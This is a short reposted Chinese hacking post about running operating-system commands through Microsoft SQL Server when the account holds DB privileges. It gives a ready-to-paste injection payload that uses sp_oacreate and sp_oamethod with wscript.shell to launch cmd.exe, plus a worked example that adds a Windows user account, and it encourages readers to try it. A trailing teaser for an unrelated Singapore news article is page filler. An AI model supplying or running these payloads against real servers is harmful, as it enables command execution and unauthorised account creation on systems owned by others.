【转载】MsSql的DB权限执行系统命令

先声明，以下代码不是利用BUG，而是该管理员的设置失误造成的，几率不大。

DECLARE @s int EXEC sp_oacreate [wscript.shell],@s out EXEC sp_oamethod @s,[run],null,[cmd.exe /c 命令] --

这个就是设置失误，我们利用以上代码可以执行系统命令。

加入我们想加一个用户进去。

就如下：

DECLARE @s int EXEC sp_oacreate [wscript.shell],@s out EXEC sp_oamethod @s,[run],null,[cmd.exe /c net user hackzz /add] --

大家发挥吧，几率不大。

文章来源于lcx.cc:【转载】MsSql的DB权限执行系统命令

相关推荐: 从一个高中生被追责看新加坡互联网管理

新华网新加坡4月28日电（记者 陈济朋）2005年，一个法律判决在新加坡受到关注和热议。 时年17岁的高中生颜怀旭，以“极端种族主义者”自居，在博客上发表数篇攻击其他族群的言论，甚至叫嚣要暗杀部分政治人物。当年11月，颜怀旭被新加坡法院依据《煽动法》判处缓刑监…